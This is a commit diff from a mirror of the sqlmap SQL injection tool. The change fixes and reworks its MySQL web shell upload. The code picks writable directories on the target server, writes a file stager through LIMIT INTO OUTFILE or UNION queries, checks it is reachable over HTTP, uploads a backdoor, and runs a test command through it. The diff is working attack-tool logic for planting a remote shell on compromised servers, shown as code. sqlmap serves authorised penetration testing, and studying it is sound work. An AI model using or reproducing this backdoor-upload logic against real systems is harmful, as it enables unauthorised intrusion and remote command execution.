mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-29 13:03:50 +03:00
fixed and improved web shell upload in MySQL (it was actually broken since fc57b7565d
)
This commit is contained in:
parent
6863436d4e
commit
dfa9076a70
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'doc/COPYING' for copying permission
|
See the file 'doc/COPYING' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
@ -610,15 +610,15 @@ def paramToDict(place, parameters=None):
|
||||||
|
|
||||||
return testableParameters
|
return testableParameters
|
||||||
|
|
||||||
def getDocRoot():
|
def getManualDirectories():
|
||||||
docRoot = None
|
directories = None
|
||||||
pagePath = directoryPath(conf.path)
|
pagePath = directoryPath(conf.path)
|
||||||
|
|
||||||
defaultDocRoot = DEFAULT_DOC_ROOTS.get(Backend.getOs(), DEFAULT_DOC_ROOTS[OS.LINUX])
|
defaultDocRoot = DEFAULT_DOC_ROOTS.get(Backend.getOs(), DEFAULT_DOC_ROOTS[OS.LINUX])
|
||||||
|
|
||||||
if kb.absFilePaths:
|
if kb.absFilePaths:
|
||||||
for absFilePath in kb.absFilePaths:
|
for absFilePath in kb.absFilePaths:
|
||||||
if docRoot:
|
if directories:
|
||||||
break
|
break
|
||||||
|
|
||||||
if directoryPath(absFilePath) == '/':
|
if directoryPath(absFilePath) == '/':
|
||||||
|
@ -636,41 +636,41 @@ def getDocRoot():
|
||||||
_ = "/%s/" % _
|
_ = "/%s/" % _
|
||||||
|
|
||||||
if _ in absFilePath:
|
if _ in absFilePath:
|
||||||
docRoot = "%s%s" % (absFilePath.split(_)[0], _)
|
directories = "%s%s" % (absFilePath.split(_)[0], _)
|
||||||
break
|
break
|
||||||
|
|
||||||
if pagePath and pagePath in absFilePath:
|
if pagePath and pagePath in absFilePath:
|
||||||
docRoot = absFilePath.split(pagePath)[0]
|
directories = absFilePath.split(pagePath)[0]
|
||||||
if windowsDriveLetter:
|
if windowsDriveLetter:
|
||||||
docRoot = "%s/%s" % (windowsDriveLetter, ntToPosixSlashes(docRoot))
|
directories = "%s/%s" % (windowsDriveLetter, ntToPosixSlashes(directories))
|
||||||
|
|
||||||
docRoot = normalizePath(docRoot)
|
directories = normalizePath(directories)
|
||||||
|
|
||||||
if docRoot:
|
if directories:
|
||||||
infoMsg = "retrieved the web server document root: '%s'" % docRoot
|
infoMsg = "retrieved the web server document root: '%s'" % directories
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
else:
|
else:
|
||||||
warnMsg = "unable to retrieve automatically the web server "
|
warnMsg = "unable to retrieve automatically the web server "
|
||||||
warnMsg += "document root"
|
warnMsg += "document root"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
docRoot = []
|
directories = []
|
||||||
|
|
||||||
message = "what do you want to use for web server document root?\n"
|
message = "what do you want to use for writable directory?\n"
|
||||||
message += "[1] common location(s) '%s' (default)\n" % ", ".join(root for root in defaultDocRoot)
|
message += "[1] common location(s) '%s' (default)\n" % ", ".join(root for root in defaultDocRoot)
|
||||||
message += "[2] custom location\n"
|
message += "[2] custom location(s)\n"
|
||||||
message += "[3] custom directory list file\n"
|
message += "[3] custom directory list file\n"
|
||||||
message += "[4] brute force search\n"
|
message += "[4] brute force search\n"
|
||||||
choice = readInput(message, default="1").strip()
|
choice = readInput(message, default="1").strip()
|
||||||
|
|
||||||
if choice == "2":
|
if choice == "2":
|
||||||
message = "please provide the web server document root: "
|
message = "please provide a comma separate list of absolute directory paths: "
|
||||||
docRoot = readInput(message, default="").split(',')
|
directories = readInput(message, default="").split(',')
|
||||||
elif choice == "3":
|
elif choice == "3":
|
||||||
message = "what's the list file location?\n"
|
message = "what's the list file location?\n"
|
||||||
listPath = readInput(message, default="")
|
listPath = readInput(message, default="")
|
||||||
checkFile(listPath)
|
checkFile(listPath)
|
||||||
docRoot = getFileItems(listPath)
|
directories = getFileItems(listPath)
|
||||||
elif choice == "4":
|
elif choice == "4":
|
||||||
targets = set([conf.hostname])
|
targets = set([conf.hostname])
|
||||||
_ = conf.hostname.split('.')
|
_ = conf.hostname.split('.')
|
||||||
|
@ -691,31 +691,30 @@ def getDocRoot():
|
||||||
for target in targets:
|
for target in targets:
|
||||||
item = "%s/%s" % (prefix, suffix)
|
item = "%s/%s" % (prefix, suffix)
|
||||||
item = item.replace(BRUTE_DOC_ROOT_TARGET_MARK, target).replace("//", '/').rstrip('/')
|
item = item.replace(BRUTE_DOC_ROOT_TARGET_MARK, target).replace("//", '/').rstrip('/')
|
||||||
docRoot.append(item)
|
directories.append(item)
|
||||||
|
|
||||||
if BRUTE_DOC_ROOT_TARGET_MARK not in prefix:
|
if BRUTE_DOC_ROOT_TARGET_MARK not in prefix:
|
||||||
break
|
break
|
||||||
|
|
||||||
infoMsg = "using common document root locations: %s" % ','.join(docRoot)
|
infoMsg = "using common directories: %s" % ','.join(directories)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
msg = "use additional custom "
|
msg = "use additional custom directories [Enter for None]: "
|
||||||
msg += "document root locations [Enter for None]: "
|
|
||||||
answer = readInput(msg)
|
answer = readInput(msg)
|
||||||
|
|
||||||
if answer:
|
if answer:
|
||||||
docRoot.extend(answer.split(','))
|
directories.extend(answer.split(','))
|
||||||
|
|
||||||
else:
|
else:
|
||||||
docRoot = defaultDocRoot
|
directories = defaultDocRoot
|
||||||
|
|
||||||
return docRoot
|
return directories
|
||||||
|
|
||||||
def getDirs():
|
def getAutoDirectories():
|
||||||
directories = set("/")
|
directories = set("/")
|
||||||
|
|
||||||
if kb.absFilePaths:
|
if kb.absFilePaths:
|
||||||
infoMsg = "retrieved web server full paths: "
|
infoMsg = "retrieved web server absolute paths: "
|
||||||
infoMsg += "'%s'" % ", ".join(ntToPosixSlashes(path) for path in kb.absFilePaths)
|
infoMsg += "'%s'" % ", ".join(ntToPosixSlashes(path) for path in kb.absFilePaths)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
@ -728,7 +727,8 @@ def getDirs():
|
||||||
warnMsg = "unable to retrieve automatically any web server path"
|
warnMsg = "unable to retrieve automatically any web server path"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
webDir = extractRegexResult(r"//[^/]+?/(?P<result>.*)/", conf.url)
|
webDir = extractRegexResult(r"//[^/]+?(?P<result>/.*)/", conf.url)
|
||||||
|
|
||||||
if webDir:
|
if webDir:
|
||||||
directories.add(webDir)
|
directories.add(webDir)
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'doc/COPYING' for copying permission
|
See the file 'doc/COPYING' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
@ -17,8 +17,8 @@ from lib.core.agent import agent
|
||||||
from lib.core.common import arrayizeValue
|
from lib.core.common import arrayizeValue
|
||||||
from lib.core.common import Backend
|
from lib.core.common import Backend
|
||||||
from lib.core.common import extractRegexResult
|
from lib.core.common import extractRegexResult
|
||||||
from lib.core.common import getDirs
|
from lib.core.common import getAutoDirectories
|
||||||
from lib.core.common import getDocRoot
|
from lib.core.common import getManualDirectories
|
||||||
from lib.core.common import getPublicTypeMembers
|
from lib.core.common import getPublicTypeMembers
|
||||||
from lib.core.common import getSQLSnippet
|
from lib.core.common import getSQLSnippet
|
||||||
from lib.core.common import getUnicode
|
from lib.core.common import getUnicode
|
||||||
|
@ -194,8 +194,9 @@ class Web:
|
||||||
self.webApi = choices[int(choice) - 1]
|
self.webApi = choices[int(choice) - 1]
|
||||||
break
|
break
|
||||||
|
|
||||||
kb.docRoot = arrayizeValue(getDocRoot())
|
directories = list(arrayizeValue(getManualDirectories()))
|
||||||
directories = sorted(getDirs())
|
directories.extend(getAutoDirectories())
|
||||||
|
directories = sorted(set(directories))
|
||||||
|
|
||||||
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
|
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
|
||||||
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi))
|
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi))
|
||||||
|
@ -204,66 +205,48 @@ class Web:
|
||||||
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
|
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
|
||||||
success = False
|
success = False
|
||||||
|
|
||||||
for docRoot in kb.docRoot:
|
for directory in directories:
|
||||||
if success:
|
if success:
|
||||||
break
|
break
|
||||||
|
|
||||||
for directory in directories:
|
uploaded = False
|
||||||
uriPath = ""
|
directory = ntToPosixSlashes(normalizePath(directory))
|
||||||
|
|
||||||
if not all(isinstance(_, basestring) for _ in (docRoot, directory)):
|
if not isWindowsDriveLetterPath(directory) and directory[0] != '/':
|
||||||
continue
|
directory = "/%s" % directory
|
||||||
|
|
||||||
directory = ntToPosixSlashes(normalizePath(directory)).replace("//", "/").rstrip('/')
|
|
||||||
docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace("//", "/").rstrip('/')
|
|
||||||
|
|
||||||
# '' or '/' -> 'docRoot'
|
|
||||||
if not directory:
|
|
||||||
localPath = docRoot
|
|
||||||
uriPath = '/'
|
|
||||||
# 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3'
|
|
||||||
elif not isWindowsDriveLetterPath(directory) and directory[0] != '/':
|
|
||||||
localPath = "%s/%s" % (docRoot, directory)
|
|
||||||
uriPath = "/%s" % directory
|
|
||||||
else:
|
else:
|
||||||
localPath = directory
|
directory = directory[2:] if isWindowsDriveLetterPath(directory) else directory
|
||||||
uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory
|
|
||||||
|
|
||||||
if docRoot in uriPath:
|
directory = posixpath.normpath(directory)
|
||||||
uriPath = uriPath.replace(docRoot, "/")
|
|
||||||
uriPath = "/%s" % normalizePath(uriPath)
|
|
||||||
else:
|
|
||||||
webDir = extractRegexResult(r"//[^/]+?/(?P<result>.*)/.", conf.url)
|
|
||||||
|
|
||||||
if webDir:
|
|
||||||
uriPath = "/%s" % webDir
|
|
||||||
else:
|
|
||||||
continue
|
|
||||||
|
|
||||||
localPath = posixpath.normpath(localPath).rstrip('/')
|
|
||||||
uriPath = posixpath.normpath(uriPath).rstrip('/')
|
|
||||||
|
|
||||||
# Upload the file stager with the LIMIT 0, 1 INTO OUTFILE technique
|
# Upload the file stager with the LIMIT 0, 1 INTO OUTFILE technique
|
||||||
infoMsg = "trying to upload the file stager on '%s' " % localPath
|
infoMsg = "trying to upload the file stager on '%s' " % directory
|
||||||
infoMsg += "via LIMIT INTO OUTFILE technique"
|
infoMsg += "via LIMIT INTO OUTFILE technique"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
self._webFileInject(stagerContent, stagerName, localPath)
|
self._webFileInject(stagerContent, stagerName, directory)
|
||||||
|
|
||||||
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath)
|
for x in list(re.finditer('/', directory)):
|
||||||
self.webStagerUrl = "%s/%s" % (self.webBaseUrl, stagerName)
|
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, directory[x.start():])
|
||||||
self.webStagerFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, stagerName))).replace("//", "/").rstrip('/')
|
self.webStagerUrl = os.path.join(self.webBaseUrl, stagerName)
|
||||||
|
self.webStagerFilePath = posixpath.normpath(ntToPosixSlashes(os.path.join(directory, stagerName)))
|
||||||
|
|
||||||
|
debugMsg = "trying to see if the file is accessible from %s" % self.webStagerUrl
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
|
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
|
||||||
uplPage = uplPage or ""
|
uplPage = uplPage or ""
|
||||||
|
|
||||||
|
if "sqlmap file uploader" in uplPage:
|
||||||
|
uploaded = True
|
||||||
|
|
||||||
# Fall-back to UNION queries file upload technique
|
# Fall-back to UNION queries file upload technique
|
||||||
if "sqlmap file uploader" not in uplPage:
|
if not uploaded:
|
||||||
warnMsg = "unable to upload the file stager "
|
warnMsg = "unable to upload the file stager "
|
||||||
warnMsg += "on '%s'" % localPath
|
warnMsg += "on '%s'" % directory
|
||||||
singleTimeWarnMessage(warnMsg)
|
singleTimeWarnMessage(warnMsg)
|
||||||
|
|
||||||
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
|
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
|
||||||
infoMsg = "trying to upload the file stager on '%s' " % localPath
|
infoMsg = "trying to upload the file stager on '%s' " % directory
|
||||||
infoMsg += "via UNION technique"
|
infoMsg += "via UNION technique"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
@ -272,7 +255,7 @@ class Web:
|
||||||
|
|
||||||
with open(filename, "w+") as f:
|
with open(filename, "w+") as f:
|
||||||
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
|
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
|
||||||
_ = _.replace("WRITABLE_DIR", localPath.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else localPath)
|
_ = _.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
|
||||||
f.write(utf8encode(_))
|
f.write(utf8encode(_))
|
||||||
|
|
||||||
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
|
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
|
||||||
|
@ -280,13 +263,38 @@ class Web:
|
||||||
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
|
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
|
||||||
uplPage = uplPage or ""
|
uplPage = uplPage or ""
|
||||||
|
|
||||||
if "sqlmap file uploader" not in uplPage:
|
for x in list(re.finditer('/', directory)):
|
||||||
continue
|
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, directory[x.start():])
|
||||||
|
self.webStagerUrl = os.path.join(self.webBaseUrl, stagerName)
|
||||||
|
self.webStagerFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (directory, stagerName))).replace("//", "/").rstrip('/')
|
||||||
|
|
||||||
|
debugMsg = "trying to see if the file is accessible from %s" % self.webStagerUrl
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
|
||||||
|
uplPage = uplPage or ""
|
||||||
|
|
||||||
|
if "sqlmap file uploader" in uplPage:
|
||||||
|
uploaded = True
|
||||||
else:
|
else:
|
||||||
continue
|
continue
|
||||||
|
|
||||||
|
if not uploaded:
|
||||||
|
self.webBaseUrl = "%s://%s:%d/" % (conf.scheme, conf.hostname, conf.port)
|
||||||
|
self.webStagerUrl = os.path.join(self.webBaseUrl, stagerName)
|
||||||
|
self.webStagerFilePath = posixpath.normpath(ntToPosixSlashes(os.path.join(directory, stagerName)))
|
||||||
|
|
||||||
|
debugMsg = "trying to see if the file is accessible from %s" % self.webStagerUrl
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
|
||||||
|
uplPage = uplPage or ""
|
||||||
|
|
||||||
|
if "sqlmap file uploader" not in uplPage:
|
||||||
|
continue
|
||||||
|
|
||||||
if "<%" in uplPage or "<?" in uplPage:
|
if "<%" in uplPage or "<?" in uplPage:
|
||||||
warnMsg = "file stager uploaded on '%s', " % localPath
|
warnMsg = "file stager uploaded on '%s', " % directory
|
||||||
warnMsg += "but not dynamically interpreted"
|
warnMsg += "but not dynamically interpreted"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
continue
|
continue
|
||||||
|
@ -296,7 +304,7 @@ class Web:
|
||||||
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
|
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
|
||||||
|
|
||||||
infoMsg = "the file stager has been successfully uploaded "
|
infoMsg = "the file stager has been successfully uploaded "
|
||||||
infoMsg += "on '%s' - %s" % (localPath, self.webStagerUrl)
|
infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if self.webApi == WEB_API.ASP:
|
if self.webApi == WEB_API.ASP:
|
||||||
|
@ -316,7 +324,7 @@ class Web:
|
||||||
continue
|
continue
|
||||||
|
|
||||||
else:
|
else:
|
||||||
if not self.webUpload(backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath, content=backdoorContent):
|
if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
|
||||||
warnMsg = "backdoor has not been successfully uploaded "
|
warnMsg = "backdoor has not been successfully uploaded "
|
||||||
warnMsg += "through the file stager possibly because "
|
warnMsg += "through the file stager possibly because "
|
||||||
warnMsg += "the user running the web server process "
|
warnMsg += "the user running the web server process "
|
||||||
|
@ -332,14 +340,14 @@ class Web:
|
||||||
getOutput = readInput(message, default="Y")
|
getOutput = readInput(message, default="Y")
|
||||||
|
|
||||||
if getOutput in ("y", "Y"):
|
if getOutput in ("y", "Y"):
|
||||||
self._webFileInject(backdoorContent, backdoorName, localPath)
|
self._webFileInject(backdoorContent, backdoorName, directory)
|
||||||
else:
|
else:
|
||||||
continue
|
continue
|
||||||
|
|
||||||
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
|
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
|
||||||
self.webDirectory = localPath
|
self.webDirectory = directory
|
||||||
|
|
||||||
self.webBackdoorFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, backdoorName))).replace("//", "/").rstrip('/')
|
self.webBackdoorFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (directory, backdoorName))).replace("//", "/").rstrip('/')
|
||||||
|
|
||||||
testStr = "command execution test"
|
testStr = "command execution test"
|
||||||
output = self.webBackdoorRunCmd("echo %s" % testStr)
|
output = self.webBackdoorRunCmd("echo %s" % testStr)
|
||||||
|
|
Loading…
Reference in New Issue
Block a user